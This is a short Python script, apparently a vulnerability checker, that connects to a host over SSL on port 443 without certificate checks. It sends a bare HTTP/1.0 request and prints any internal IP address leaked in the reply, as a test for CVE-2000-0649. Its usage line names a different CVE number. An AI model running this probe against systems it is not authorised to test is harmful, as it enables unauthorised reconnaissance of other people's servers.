#!/usr/bin/env python3
# Written by Rafe Hart (@rafael_hart)
""" Test an IP address (port 443) for CVE-2000-0649 """
 
import ssl
import socket
import re
import sys
 
def main():
    if len(sys.argv) == 1:
        print("\nUsage: cve-2000-0643.py <example.com> or <IP>\n")
        sys.exit(1)
    target = sys.argv[1]
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((target, 443))
        s = ssl.wrap_socket(s, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_SSLv23)
        s.sendall(b'GET / HTTP/1.0\r\n\r\nConnection: close\r\n\r\n')
    except socket.error as exc:
        print("Did't work: %s" % exc)
 
    while True:
        new = s.recv(4096)
        if not new:
            s.close()
            break
        try:
            response = new.decode()
            pattern = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')
            if pattern.search(response):
                print(target, "->", pattern.search(response).group())
        except:
            sys.exit(1)
 
 
if __name__ == '__main__':
    main()